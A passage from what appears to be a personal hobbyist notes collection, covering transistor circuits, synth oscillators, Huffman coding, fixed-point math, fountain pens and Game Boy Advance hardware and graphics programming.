Note also how the frequency response of the emitter changes with the addition of the bypass capacitor:

With an input signal of +/- 1 mV, the output signal of this circuit remains distortion free with the previously calculated bypass numbers, but it will be more difficult to reason about the maximum input without distortion:

Resources

• Common Emitter Amplifier Design Tips & Shortcuts
• Tutorial: Common Emitter, Common Collector, and Common Base Transistor amplifiers
• Quick Guide: Designing A BJT Common Emitter Amplifier
• TSP #15 - Tutorial on the Theory, Design and Characterization of a Single Transistor BJT Amplifier

Unidirectional voltage shifter

In many cases we find that we need to interface between circuits that work at different i/o voltages. This is very common on logic circuits, for example we may have a microcontroller that outputs 3.3V logic high and we have another device that expects 5V input. The opposite may also be true, going from a 5V output to a 3.3V input. We want to pay special attention to this later case, as it could damage the low voltage device.

There are many ways of performing voltage shifting. A simple approach uses an NPN transistor and a couple of resistors in a common base configuration. This works for up-shifting and down-shifting, but it is unidirectional, meaning that the circuit doesn’t adapt to the input, instead we need once circuit for each mode. For upshifting from 3.3V to 5V:

And for going from 5V to 3.3V:

Looking at the logic time response of the up-shifter we observe that Rc creates a voltage divider with the load, resulting in a final output voltage of Vout = RL / (Rc + RL) * 5 = 4.55V.

This should be ok for most logic circuits, as the High state would be detected properly. If needed, we can use a lower resistance for Rc, creating a bit of a less stable signal but with a voltage closer to 5V. With 1 KOhm we get the following response:

The signal output for the downshifter suffers from the same issue, but additionally on the simulator we see a 5V spike which could damage the input circuit if we are not careful:

This could be solved by connecting a capacitor in parallel with the load, creating a low pass filter.

Giving us a smoother transition from low to high. Bear in mind that depending on the capacitance, this may limit the transmission speed.

Source: Logic level converter using Transistors

Polarity protection for DC PSUs

The world of power supply connectors is the wild west, with some inputs being center positive and others center negative. Worse, the connectors are compatible so you can accidentally connect the wrong cable and destroy your circuit.

There are some ways of protecting about this in our designs. My two preferred ways are to use a parallel diode in combination with a resistor or use a diode in series.

Option 1

.-----.                   .------.
|    +|--- R ---+---------|+     |
|     |         |         |      |
| PSU |        D^         |  IN  |
|     |         |         |      |
|    -|---------+---------|-     |
.-----.                   .------.

If we don’t use a resistor, it is possible that the reverse current can damage the PSU or the circuit. A small resistor can act as a fuse, but would need to be replaced if it blows up. We could use actual fuses for this instead. A larger resistor will protect better but will cause a voltage drop on the input.

Option 2

.-----.                   .------.
|    +|--- D >------------|+     |
|     |                   |      |
| PSU |                   |  IN  |
|     |                   |      |
|    -|-------------------|-     |
.-----.                   .------.

This option is much simpler, the diode will handle reverse polarity input, blocking any current in the opposite direction. This causes a voltage drop on the diode of about 0.7 V, but we can design for this in our circuit or we can use a Schottky diode, which would make this drop of only 0.2 V. For many applications, using 8.3 V as Vcc instead of 9 V shouldn’t make a big difference, but this needs to be taken into account in our calculations.

Source: Adding Simple Reverse Polarity Protection (To Guitar Pedals)

VCO

Simple Avalanche Oscillator

Probably the simplest oscillator one can make is with a transistor configured for reverse biased avalanche. You only need a BJT, resistor and capacitor (optionally a LED to see some output). Note that temperature drift may cause the frequency to shift with it’s usage or ambient conditions, but it is neat for drones and/or drum sounds. I initially saw this on a Look Mom No Computer video and I knew I wanted to try it for myself.

The challenge with this circuit is to find transistors that can go to avalanche with lower voltages. At the time of writing I don’t have a large supply of electric components, just some leftovers from a few projects I did many years ago and a bunch of scavenged parts from trashed PCBs. One of those parts was a power connector, and I had a couple of wall warts laying around, one of them 12 V, which was a good candidate for this project.

I used a prototype board to test the circuit and different transistors, and was happy to see that the two C547B and one of the BC1088 were able to enter avalanche and output sound (the other BC1088 I tested was able to oscillate but not throughout the entire potenciometer range). Tried different capacitor values and found that 2.2uF or 10uF worked best. Caps from 33 to 100 uF could be used to create a little LFO though, so maybe I’ll revisit this in the future.

After verifying everything worked, I soldered three oscillators on a stripboard and used a 3 resistor passive mixer to listen to the output.

I think it sounds great! Would love to expand on this idea to add CV controlled pitch, though there are probably better and more stable designs for that kind of thing.

Resources

• LMNC: Super simple oscillator
• Transistor Avalanche Disaster
• BJT in reverse avalanche mode
• Avalanche VCO
• Avalanche Pulse Generator
• Oscillators (zpostbox)
• Basic Schmitt trigger oscillator
• DIY VCO Part 1: The analog oscillator core anyone can build
• DIY VCO Part 2: The simplest exponential converter
• Modular Synth VCO Design & Build

Exponential converter

• Classic 2 Op-Amp tri and square wave VCO - DIY Modular in a Week 1.2
• All about circuits exponetial vco
• Exponential converters and how they work
• ECE4450 L18: Exponential Voltage-to-Current Conversion & Tempco Resistors (Analog Circuits 4 Music)

Sequencers

• Simple Step Sequencer with clock divider

Sampler

• LoFi sampler and VCF

Mixers

• Mixer topologies
• Simple passive mixer
• Designing a 3-channel mixer with diode distortion from scratch
• Simple DIY Mixer w/ Op-Amps

Op Amps

Golden rules

1. When we have negative feedback, the Op Amp will do whatever it can to make both inputs equal. A buffer or voltage follower can be simply made this way. Adding a couple of resistors to the feedback loop transforms the Op Amp as a (non) inverting amplifier.
2. No current enters the Op Amp inputs. If we connect a ground to the positive input, the negative behaves like a “virtual ground”.

Resources

• Op-Amp Golden Rules & Designing An Active Filter!
• Op-Amp Theory and Design (Phil’s Lab)

Resources

Research

• Analog Circuits for Music Synthesis Lectures
• DIY synths by René Schmitz
• Ian Fritz electronic music site

Suppliers/shops

• Das Musikding (Europe)

Some common general purpose algorithms used for data encoding and compression include:

1. Huffman coding
2. Run length encoding
3. Burrows-Wheeler transform
4. Move to front transform
5. Zstandard
6. LZ77 and LZ78 (LZ1, LZ2)
7. LZ4
8. LZSS

Huffman coding

Can be used to find the most optimal possible encoding symbols in the minimum number of bytes. This doesn’t always make it the most efficient encoding for compression, however.

Algorithm

0. For an alphabet of N symbols.
1. Count the number of occurrences of each symbol in the data (frequency).
2. Sort the symbol table from minimum to maximum frequency.
3. Assemble a Huffman binary tree by combining the symbols with the smallest frequency together.
4. Create the Huffman table by walking down the tree, one branch adds a 1 and another adds a 0.

Example

Let’s encode MISSISSIPPI_RIVER. We have the following frequency table:

+--------+-----------+--------------+
| symbol | frequency | probability  |
+--------+-----------+--------------+
| M      | 1         | 1/17 = 0.058 |
| I      | 5         | 5/17 = 0.294 |
| S      | 4         | 4/17 = 0.235 |
| P      | 2         | 2/17 = 0.117 |
| R      | 2         | 2/17 = 0.117 |
| E      | 1         | 1/17 = 0.058 |
| V      | 1         | 1/17 = 0.058 |
| _      | 1         | 1/17 = 0.058 |
+--------+-----------+--------------+

Now let’s sort it in ascending frequency:

+--------+-----------+--------------+
| symbol | frequency | probability  |
+--------+-----------+--------------+
| M      | 1         | 1/17 = 0.058 |
| E      | 1         | 1/17 = 0.058 |
| V      | 1         | 1/17 = 0.058 |
| _      | 1         | 1/17 = 0.058 |
| P      | 2         | 2/17 = 0.117 |
| R      | 2         | 2/17 = 0.117 |
| S      | 4         | 4/17 = 0.235 |
| I      | 5         | 5/17 = 0.294 |
+--------+-----------+--------------+

Let’s start assembling the three step by step:

M1,E1,V1,_1,P2,R2,S4,I5

          |
          V

2 -- M1
 `-- E1

          |
          V

2 -- M1
 `-- E1
2 -- V1
 `-- _1

          |
          V

2 -- M1
 `-- E1
2 -- V1
 `-- _1
4 -- P2
 `-- R2

          |
          V

4 -- 2 -- M1
|     `-- E1
` -- 2 -- V1
      `-- _1
4 -- P2
 `-- R2

          |
          V

8 -- 4 -- 2 -- M1
|    |     `-- E1
|    ` -- 2 -- V1
|          `-- _1
 `-- 4 -- P2
      `-- R2

          |
          V

9 -- I5
 `-- S4
8 -- 4 -- 2 -- M1
|    |     `-- E1
|    ` -- 2 -- V1
|          `-- _1
 `-- 4 -- P2
      `-- R2

          |
          V

17 -- 9 -- I5
 |     `-- S4
  `-- 8 -- 4 -- 2 -- M1
      |    |     `-- E1
      |    ` -- 2 -- V1
      |          `-- _1
       `-- 4 -- P2
            `-- R2

The following is the resulting Huffman tree including the binary path for each branch:

17 --*1*-- 9 --*1*-- I5
 |          `--*0*-- S4
  `--*0*-- 8 --*1*-- 4 --*1*-- 2 --*1*-- M1
           |         |          `--*0*-- E1
           |         ` --*0*-- 2 --*1*-- V1
           |                    `--*0*-- _1
            `--*0*-- 4 --*1*-- P2
                      `--*0*-- R2

This tree yields the following encoding table:

+--------+-----------+--------------+------------+--------------+
| symbol | frequency | probability  | ASCII code | Huffman code |
+--------+-----------+--------------+------------+--------------+
| M      | 1         | 1/17 = 0.058 | 1001101    | 0111         |
| E      | 1         | 1/17 = 0.058 | 1000101    | 0110         |
| V      | 1         | 1/17 = 0.058 | 1010110    | 0101         |
| _      | 1         | 1/17 = 0.058 | 1011111    | 0100         |
| P      | 2         | 2/17 = 0.117 | 1010000    | 001          |
| R      | 2         | 2/17 = 0.117 | 1010010    | 000          |
| S      | 4         | 4/17 = 0.235 | 1010011    | 10           |
| I      | 5         | 5/17 = 0.294 | 1001001    | 11           |
+--------+-----------+--------------+------------+--------------+

Thus the following message can be encoded as such:

Before (119 bits):

M       I       S       S       I       S
1001101 1001001 1010011 1010011 1001001 1010011

S       I       P       P       I       _
1010011 1001001 1010000 1010000 1001001 1011111

R       I       V       E       R
1010010 1001001 1010110 1000101 1010010

After (46 bits):

M       I       S       S       I       S
0111    11      10      10      11      10

S       I       P       P       I       _
10      11      001     001     11      0100

R       I       V       E       R
000     11      0101    0110    000

Stats:

msg_entropy := H = 1 * 5/17 * math.log2(17/5) +
                   1 * 4/17 * math.log2(17/4) +
                   2 * 2/17 * math.log2(17/2) +
                   4 * 1/17 * math.log2(17) = 2.69866

avg_code_len := L = 2 * (5/17 + 4/17) +
                    3 * 2 * 2/17 +
                    4 * 4 * 1/17 = 2.688

efficiency := H/L = 0.9973
compression_ratio = 2.59

Implementation

The algorithm can be implemented by using a hash table to count the frequency of each symbol and a priority queue to build the Huffman tree. The hash table is not necessary if we know all possible symbols we will be using, as it is the case with byte compression. The priority queue can be implemented with a min. heap. Here is some untested pseudo-code of how this could work in practice.

// We will byte-encode all symbols. Ascii symbols are worth 1 byte only.
msg = [M, I, S, S, I, S, S, I, P, P, I, _, R, I, V, E, R]
frequency[256] = {0}
for elem in msg {
    frequency[(u8)elem]++
}

struct Node {
    T symbol;
    u64 count;
    Node *left;
    Node *right;
}
// NOTE: For byte encoding we will need a maximum of 256 + 128 + 64 + 32 + 16
// + 8 + 4 + 2 + 1 nodes so we can preallocate this amount of memory to reduce
// the mumber of memory allocations. This can only happen if there is exactly
// one symbol of each byte, creating a perfect 1/256 per symbol distribution.
//
// Node nodes[512] = {0}

mh = min_heap(Node)
for i, freq in enumerate(frequency) {
    if freq != 0 {
        mh.insert(Node{i, freq, NULL, NULL})
    }
}

// Build the tree.
while mh.lenght() > 1 {
    node = Node{0}
    node.left = mh.pop_min()
    node.right = mh.pop_min()
    node.count = node.left.count + node.right.count
    mh.insert(node)
}
root = mh.pop_min() // Should have only 1 element left, the last one

// Create an encoding symbol table from the tree
// If we are encoding bytes the worst case scenario we will need 256 bits worth
// of information, or 64bytes per symbol (or 8x32bit, or 4x64bit, or 2x128bit,
// or 1x256bit values).
//
//     FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF
//     FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF
//
// Here we instantiate the table with those worst scenario constrains.
table = byte[256][64] // OR: 256 elements of type struct {u8[64] code; u8 n_bits;}

// Walk the tree to get the code for each symbol on the leaf
current_code = byte[64]
void fill_table(root, table, current_code) {
    if root.left == NULL && root.right == NULL {
        table[root.symbol] = current_code // NOTE: Full copy, we might also want to store the number of bits for this code
        return
    }
    fill_table(root.left, table, current_code << 1)
    fill_table(root.right, table, (current_code << 1) | 1)
}

// Use the table for encoding the message in the channel
channel = byte[CHANNEL_LENGTH] // NOTE: Make sure we don't overflow the channel
// NOTE: We could probably speed this up quite a bit if we used SIMD 256
// registers instead of doing bit shifts per byte.
for symbol in msg {
    channel = (channel << table[symbol].n_bits) & table[symbol].code
}

The message could be encoded in several ways once we have the table. Here is how the message would look like in a channel, separated by bytes. Note how some symbols are separated on the byte boundary.

Code table:

symbols | M   I   S   S   I   S   S   I   P   P   I   _   R   I   V   E   R   |
binary  | 0xb 0x3 0x0 0x0 0x3 0x0 0x0 0x3 0x4 0x4 0x3 0x7 0x2 0x3 0xa 0x6 0x2 |
n_bits  | 4   2   2   2   2   2   2   2   3   3   2   4   3   2   4   4   3   |


Channel:

symbols | M   I S  | S I S S  | I P  P   | I _   R  |  I V   E |    R     |
binary  | 10111100 | 00110000 | 11100100 | 11011101 | 01110100 | 110010xx |
hex     | 0xbc     | 0x30     | 0xe4     | 0xdd     | 0x74     | 0xc8     |
                                                                       ^
                                                                      EOM
Stats:
    n_symbols = 17
    n_bits = 46
    min_code_length = 2
    max_code_length = 4

Canonical codes

Once we have a Huffman codes for all symbols in the data, we could obtain new canonical codes by following the procedure mentioned below. With canonical codes, we don’t need to retransmit the entire translation table every time but instead we only need to send the number of levels and number of bits per level.

When compressing binary data, the worst case scenario if we were to transmit the entire table would be to store both the code (max 64 bytes) plus an extra byte for the number of bits (1-255) for all 256 entries, resulting in 65 * 256 = 16KB of information that we need to send in every compressed block for table reconstruction (And that is without headers). If we instead use canonical codes, we may reconstruct the table with only B * 2^B bits of information being sent on the channel.

To help us understand canonical Huffman codes, we can select any rules we want as long as these are consistent for table recovery from the given number of bits. For example we can say that:

• If we right-pad with zeroes all codes to be the same number of bits, the shorter codes will have a larger numerical value.
• Codes on the same level are sorted in ascending numeric order.

Using the previously mentioned message, we obtain the following number of bits for each symbol.

+--------+--------+
| symbol | n_bits |
+--------+--------+
| M      | 4      |
| E      | 4      |
| V      | 4      |
| _      | 4      |
| P      | 3      |
| R      | 3      |
| S      | 2      |
| I      | 2      |
+--------+--------+

Canonical codes that follow the aforementioned rules can be generated by detecting the starting points for each code level. To do so, the following algorithm can be used:

1. Start with the largest codes being all zeroes and increment numerically. In
   our example there are 4 codes with 4 bits [0000-0011].
2. Subsequent levels can be found by taking the last address in the previous
   level and adding 1. If we right shift this value to remove the least
   significant bit, we obtain the initial position.


    start_{i} = (start_{i-1} + n_bits_{i-1}) >> 1

previous start level bits := prev_start
number of codes in previous level := prev_m

    start = (prev_start + prev_m) >> 1

If we now sort them in alphabetic order per bit level, we can generate the following canonical codes.

+--------+--------+---------------------+----------------+--------+
| symbol | n_bits | prev_start | prev_m | initial_code   | code   |
+--------+--------+---------------------+----------------+--------+
| E      | 4      | 0000       | 0      | 0000           | 0000   |
| M      | 4      | 0000       | 0      | 0000           | 0001   |
| V      | 4      | 0000       | 0      | 0000           | 0010   |
| _      | 4      | 0000       | 0      | 0000           | 0011   |
| P      | 3      | 0000       | 4      | 010            | 010    |
| R      | 3      | 0000       | 4      | 010            | 011    |
| I      | 2      | 010        | 2      | 10             | 10     |
| S      | 2      | 010        | 2      | 10             | 11     |
+--------+--------+------------+--------+----------------+--------+

Resources

• Data Compression Methods
• A Fast Algorithm for Optimal Length-Limited Huffman Codes
• CMSC 4541: Lecture 6. Greedy Algorithms: Huffman Coding
• Information, Entropy, and Coding
• Practical Huffman coding
• Canonical Huffman code (Wikipedia)
• Energy Efficient Canonical Huffman Encoding
• Huffman Code Discussion and Implementation
• A Method for the Construction of Minimum-Redundancy Codes (David Huffman)
• Huffman Coding (ucalgary)
• Pokémon Sprite Decompression Explained

Introduction

Modern computers have access to dedicated floating point units, but in older machines (such as the GBA) this was not the case. In such cases, if we require the use of fractional numbers in our code we have to use integers. If used directly, integers will cause a loss of precision, which is why fixed-point numbers are used.

Fixed-point are integer representations of fractional numbers. Normally you need to know how many bits of precision are used for the unit part and how many for the fractional part. For example if we want to represent the number 123.4567 we would need to use 4 bits of fractional precision, though we can use more if necessary. We normally denote the number of bits used for the integer part (i) and the fractional part (f) as (i.f). For example, if we are using 32 bit numbers and we want to have 10 bits of precision the notation to describe these numbers would be (22.10). Note that in some cases, signed numbers are described as (1.i.f) but this doesn’t mean that we have a separate sign bit, we are always using integers with two’s complement numbers.

It is a bit difficult to see this representation with decimal numbers but using hex it should be clear. For example the 32 bit number 0xAABBCCDD at (20.12) would have 0xAABBC as the integer part and 0xCDD as the fractional part. This means building a fixed-point number is as simple as shifting left the integer part and adding the fractional part to it: fixe_num = (0xAABBC << 12) | 0xCDD. Likewise we can get the fractional part with a masked and and the integer part with a shift down: integer_part = 0xAABBCCDD >> 12;, fractional_part = 0xAABBCCDD & 0xFFF;. This only applies to unsigned numbers, since sign may be considered when getting the fractional part and using a mask would effectively destroy the sign.

One important consideration of fixed-point numbers is that depending on the selected integer precision we are limited in the largest number we can represent. With that said, nothing stops us from reducing shifting the fractional bit around as needed in our algorithms.

Math

Working with fixed-point numbers require certain things to ensure the correctness of arithmetic operations. In case of addition and subtraction, the numbers must have the same fixed-point representation, that is, the number of bits being used for the fractional part. When multiplying fixed-point numbers, we need to also multiply the fractional scale, which translate to a right shift after the multiplication (fpa * fpb = (A * B) >> f). To keep the highest accuracy, when using division, we shift the scale before we divide (fpa / fpb = (A << f) / B).

Resources

• Fixed point numbers (TONC)

I’m quite fond of fountain pens, especially when paired with cartridge converters or using a self contained ink filling system. They are both more and less convenient than regular pens. On the one hand they require more care when handling them and cleaning/maintenance. On the other hand, the writing experience feels much better to me, you can load many different types of ink, and (depending on your usage) you could be generating less waste since you don’t have to discard cartridges or entire pens.

Don’t forget different inks interact in a multitude of ways with different kinds of paper, so for the best experience it’s best to evaluate the pen, ink and paper together as a set.

Resources

• How to Clean a Fountain Pen
• How To Clean A Fountain Pen - Beginner’s Guide

Architecture

The GBA contains a 16 MHz ARM CPU and has available 96kB of video memory. There is no support for floating point or hardware division operations. The GBA is a little endian machine and expects data alignment to 32 bit boundaries. The CPU uses a 3 stage pipeline (Up to 3 instructions are being decoded in parallel).

Memory sections

area        start       end         length  port-size  description
System ROM  0000:0000h  0000:3FFFh  16kb    32 bit     BIOS memory. You can execute it, but not read it (i.o.w, touch, don't look).
EWRAM       0200:0000h  0203:FFFFh  256kb   16 bit     External work RAM. Is available for your code and data. If you're using a multiboot cable, this is where the downloaded code goes and execution starts (normally execution starts at ROM). Due to the 16bit port, you want this section's code to be THUMB code.
IWRAM       0300:0000h  0300:7FFFh  32kb    32 bit     This is also available for code and data. The 32-bit bus and the fact that it's embedded in the CPU make this the fastest memory section. The 32bit bus means that ARM instructions can be loaded at once, so put your ARM code here.
IO RAM      0400:0000h  0400:03FFh  1kb     16 bit     Memory-mapped IO registers. These have nothing to do with the CPU registers you use in assembly so the name can be a bit confusing. Don't blame me for that. This section is where you control graphics, sound, buttons and other features.
PAL RAM     0500:0000h  0500:03FFh  1kb     16 bit     Memory for two palettes containing 256 entries of 15-bit colors each. The first is for backgrounds, the second for sprites.
VRAM        0600:0000h  0601:7FFFh  96kb    16 bit     Video RAM. This is where the data used for backgrounds and sprites are stored. The interpretation of this data depends on a number of things, including video mode and background and sprite settings.
OAM         0700:0000h  0700:03FFh  1kb     32 bit     Object Attribute Memory. This is where you control the sprites.
PAK ROM     0800:0000h  var         var     16 bit     Game Pak ROM. This is where the game is located and execution starts, except when you're running from a multiboot cable. The size is variable, but the limit is 32 MB. It's a 16bit bus, so THUMB code is preferable over ARM code here.
Cart RAM    0E00:0000h  var         var     8 bit      This is where saved data is stored. Cart RAM can be in the form of SRAM, Flash ROM or EEPROM. Programmatically they all do the same thing: store data. The total size is variable, but 64kb is a good indication.

Source: https://www.coranac.com/tonc/text/hardware.htm#sec-memory

When saving to the Cart RAM (SRAM), we probably want to avoid using the first and last bytes, since they can become corrupted when changing cartridge or powering up.

Puting code and data in different locations can have a dramatic performance impact or crash the program entirely. Also:

Q: How do I put large (> 16 KB) arrays into a GBA program without it crashing?

The linker script included with devkitARM puts arrays and other variables into
IWRAM unless you tell it otherwise. Trouble is IWRAM is only 32 KiB. For arrays
that you don't plan to modify, use the keyword const, which will instruct the
linker to put the entire array into ROM (or EWRAM for .mb programs). For arrays
that you do plan to modify, put them into EWRAM using a section attribute on the
array's definition:

    __attribute__((section (".sbss"))) char foo[8192];
    Puts the variable in EWRAM and initializes it to zero at program start.
    (Initializer values are ignored.)

    __attribute__((section (".ewram"))) char foo[8192] = {3, 4, /*... */ };
    Puts the variable in EWRAM and initializes it to the given values at program
    start. (This uses space in the binary even if initializer values are not
    given.)

Source: https://forum.gbadev.org/viewtopic.php?t=418

Normally we want to put hot code and data into the fastest memory possible (IWRAM in most cases). We can do this with compiler macros, but we should always check that we have enough space available and that the code and data is actually going to the section we wanted. This is a quick one-liner to check where functions and data are located with objdump:

arm-none-eabi-objdump -x [file.elf] | sort | less

For 16bit data, the VRAM should be as fast as the IWRAM, so if needed we can store 16bit LUTs to reap some performance benefits.

Video

The screen is 240x160 pixels for a total of 32768 colors. Colors are 15 bits xbbbbbgggggrrrrr, with 5 bits for each RGB component (32 shades of red, green an blue or a range of 0–31). The 16th bit (x) is the transparency index, when working with palettes it will mean that the pixel is transparent. The screen refresh rate is of 59.73 Hz. We can use 4 backgroud layers and one sprite layer. We have available 96kb of video memory (0x06000000–0x06017FFF), palette memory (0x05000000–0x050003FF) and OAM memory (0x07000000–0x070003FF).

An scanline is composed of the HDraw, where a row of 240 pixels are written to the screen followed by a pause (HBlank). After drawing 160 scanlines (VDraw), there is another pause (VBlank). To avoid glitchy effects, we would want to update the position of sprites during the VBlank pause. The following table shows the timings for the different screen drawing phases:

subject   length        cycles
pixel     1             4
HDraw     240px         960
HBlank    68px          272
scanline  Hdraw+Hbl     1232
VDraw     160*scanline  197120
VBlank    68*scanline   83776
total     VDraw+Vbl     280896

Source: https://www.coranac.com/tonc/text/video.htm

Two palettes are available, one for backgrounds (0x05000000–0x050001FF) and one for sprites (0x05000200–0x050003FF). Each palette has 256 entries of u16 colors for a total of 512 bytes per palette. There are two different ways of using palettes, the first one is to use the entire palette to for a 256 color range, and the second one is to thave 16 sub-palettes (palette banks) of 16 colors each.

We can draw to the screen via bitmaps, tiled backgrounds or sprites. If using bitmap (Like in Mode-3) we can draw pixels to the screen by writing to ((vu16*) MEM_VRAM), but trying to fill the screen with this method is too slow for practical purposes. Normally it is better to use tiled backgrounds, where 8x8 tiles are copied to one part of the video memory and then a tile map containing the indexes of the tiles for the screen is sent to a different region. In tile background modes, we send a maximum of a 30x20 map of numbers each frame. Sprites are 8x8 to 64x64 objects that are meant to be used in conjunction with tiled backgrounds or bitmaps, and they can be transformed independently of each other.

Note that the GBA’s screen may require gamma correction to display their colors correctly, since the LCD tends to be quite dark. A simple formula for this is the “affine brightness correction”, which can be applied on each R, G, and B component with:

component = component * 3 / 4 + 8

Display Control Register

The display control register (DISP_CTRL) located at 0x04000000 controls the properties of the screen and selects different video modes.

bits  name          description
0-2   Mode          Sets video mode. 0, 1, 2 are tiled modes; 3, 4, 5 are bitmap modes.
3     GB            Is set if cartridge is a GBC game. Read-only.
4     PS            Page select. Modes 4 and 5 can use page flipping for smoother animation. This bit selects the displayed page (and allowing the other one to be drawn on without artifacts).
5     HB            Allows access to OAM in an HBlank. OAM is normally locked in VDraw. Will reduce the amount of sprite pixels rendered per line.
6     OM            Object mapping mode. Tile memory can be seen as a 32x32 matrix of tiles. When sprites are composed of multiple tiles high, this bit tells whether the next row of tiles lies beneath the previous, in correspondence with the matrix structure (2D mapping, OM=0), or right next to it, so that memory is arranged as an array of sprites (1D mapping OM=1). More on this in the sprite chapter.
7     FB            Force a screen blank.
8-B   BG0-BG3, Obj  Enables rendering of the corresponding background and sprites.
D-F   W0-OW         Enables the use of windows 0, 1 and Object window, respectively. Windows can be used to mask out certain areas (like the lamp did in Zelda:LTTP).

Source: https://www.coranac.com/tonc/text/video.htm

Display Status Register

The display status register (DISP_STATUS) located at 0x04000004 can be used to obtain information about the current state of the screen or requesting certain interrupts.

bits  name  description
0     VbS   VBlank status, read only. Will be set inside VBlank, clear in VDraw.
1     HbS   HBlank status, read only. Will be set inside HBlank.
2     VcS   VCount trigger status. Set if the current scanline matches the scanline trigger ( DISP_VCOUNT == DISP_STATUS{8-F} )
3     VbI   VBlank interrupt request. If set, an interrupt will be fired at VBlank.
4     HbI   HBlank interrupt request.
5     VcI   VCount interrupt request. Fires interrupt if current scanline matches trigger value.
8-F   VcT   VCount trigger value. If the current scanline is at this value, bit 2 is set and an interrupt is fired if requested.

Source: https://www.coranac.com/tonc/text/video.htm

Scanline Counter Register

The scanline counter register (DISP_VCOUNT) located at 0x04000006 stores in the lower bits, the scanline that is being currently processed. Note that the count goes from 0-227, since it goes through the VBlank as well (0-159 scanlines draw to the screen wereas 160-226).

This can be used to implement a locked framerate by waiting for the VBlank before we perform updates:

static inline void
wait_vsync() {
    while(DISP_VCOUNT >= 160);
    while(DISP_VCOUNT < 160);
}

It is discouraged to use this method, since it is wasting CPU cycles and thus battery life.

Bitmap modes (mode 3, 4 and 5)

If we one of the bitmap and DISPLAY_BG_2 we can blit to the screen direcly by putting data on the MEM_VRAM. Here is an example of using a macro for easy acess to the x and y coordinates of the screen on mode 3:

// The GBA in mode 3 expects rbg15 colors in the VRAM, where each component
// (RGB) have a 0--31 range. For example, pure red would be rgb15(31, 0, 0).
typedef u16 Color;

// We can treat the screen as a HxW matrix. With the following macro we can
// write a pixel to the screen at the (x, y) position using:
//
//     FRAMEBUFFER[y][x] = color;
//
typedef Color Scanline[SCREEN_WIDTH];
#define FRAMEBUFFER ((Scanline*)MEM_VRAM)

The difference between the bitmap modes is that they have different width, height, bits per pixel (bbp), and the possibility of page-flipping. Modes 3 and 4 have a screen resolution of 240x160, with respective bbp of 16 and 8. Mode 4 supports page-flipping, whereas mode 3 doesn’t. Mode 5 have a 160x128 resolution at 16bpp and with page-flipping support. Essentially the size of the bitmap (in bytes) is width * height * bpp/8.

In Mode4 the buffer is of 8 bytes per pixel instead of 16. We can’t write the color directly, instead the color is stored in the palette memory at MEM_PAL. Note that in this mode MEM_PAL[0] is the background color. Because the GBA needs to meet memory alignment requirements, we can’t write a u8 into memory, instead we need to read a u16 word, mask and or the corresponding bits and wave the updated u16.

static inline void
put_pixel_m4(int x, int y, u8 col_index) {
    int buffer_index = (y * SCREEN_WIDTH + x) / 2;
    u16 *destination = &SCREEN_BUFFER[buffer_index];
    int odd = x & 0x1;
    if(odd) {
        *destination= (*destination & 0xFF) | (col_index << 8);
    } else {
        *destination= (*destination & ~0xFF) |  col_index;
    }
}

Other limitations of bitmap modes, is that they can only use one background layer, they have no hardware scrolling and the bitmap memory overlaps with sprite tiles memory (Starting at 0x06010000) which means only sprite tiles from 512 to 1023 are available in modes 3-5.

When talking about page-flipping, the concept is similar to that of double buffering. However, in double buffering, the buffer is copied to the screen, whereas in page-flipping, the “backbuffer” is made the new buffer instead, without copying anything.

The second page in Mode 4 for page flipping is located at 0x0600A000. To flip the page, we need to set the proper bit (4) with DISP_CTRL.

Tiled modes

If we want good performance for displaying graphics to the screen, it makes a lot of sense to use the built-in hardware capabilities of the GBA. Sprites and tiled backgrounds make use of the hardware and can be configured in different ways depending on the use case.

Tiled backgrounds have sizes between 128x128 and 1024x1024 pixels (32x32 and 128x128 tiles respectively). Sprites go from 8x8 to 64x64 pixels, and we can make use of 128 of them.

The first step for using these modes is setting up the right parameters in the display register DISP_CTRL to configure the mode, sprite and background behaviour, etc. There are other registers available for further configure each individual background layer (0x04000008 to 0x0400000f). Each of the 128 sprites has three attributes for controlling and mapping them, starting at 0x07000000.

With background tiles and sprites, we need to distinguish between the “tile data” (the location in memory where each tile’s color information is stored) and the “tile map”, sometimes called “screenblock entries” (indicating which tiles are used in the screen at the moment) with positional information and other attributes (bit depth, horizontal or vertical flipping, palette being used, etc). Sprites and tiled backgrounds can make use of the affine transformation matrix for scaling and rotation.

Tiles

Sprites and tiled backgrounds are composed of tiles. A basic tile is an 8x8 bitmap either at the default 4 bits per pixel (bpp) (16 color / 16 palettes / 32 bytes) or 8 bpp (256 colors / 1 palette / 64 bytes).

To store tiles into the VRAM, each tile is stored as a continuous bit stream. As an example, let’s imagine that each tile is represented by a number. For brevity, each tile will be 2x2.

Tiles:

| 0 | 0 | 1 | 1 | 2 | 2 | 3 | 0 |
| 0 | 0 | 1 | 1 | 2 | 2 | 3 | 3 |
| 4 | 4 | 5 | 5 | 6 | 6 | 7 | 7 |
| 4 | 4 | 5 | 5 | 6 | 6 | 7 | 7 |

VRAM:

| 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 2 | 2 | 2 | 2 | 3 | 3 | 3 | 3 | 4 | 4 | 4 | 4 | 5 | 5 | 5 | 5 | 6 | 6 | 6 | 6 | 7 | 7 | 7 | 7 |

The tiles are stored in charblocks/tile-blocks. Each charblock is 16kb, thus we can store 6 charblocks in the VRAM (96kb). In one charblock we can store 512 tiles at 4 bpp (32x16 tiles) or 256 at 8 bpp (32x8 tiles). The 6 charblocks in the VRAM are divided in 4 for their respective backgrounds (0-3) and 2 for sprites (4-5).

In terms of palettes, there are two, one for backgrounds (0x05000000) and another for the sprites (0x05000200). Each, contain 256 entries of 15 bit colors.

Sprites

The 3 basic steps for using sprites are:

1. Loading the graphics/palette to the VRAM
2. Configure OAM attributes
3. Enable objects in DISPLAY_CTRL and set the maping mode.

Sprite tiles may be stored in 2D mode where big sprites are stored directly as a matrix or 1D mode, in which tiles from the sprite are sequential. Programming in 1D mode may be nicer to work with. For example if we have tiles with sprites 1 and 2:

Sprites 1 and 2:

|1|1|1|
|1|1|1|
|1|1|1|

|2|2|
|2|2|

2D mode:

|1|1|1|2|2|0|0|...
|1|1|1|2|2|0|0|...
|1|1|1|0|0|0|0|...

1D mode:

|1|1|1|1|1|1|1|1|1||2|2|2|2|...

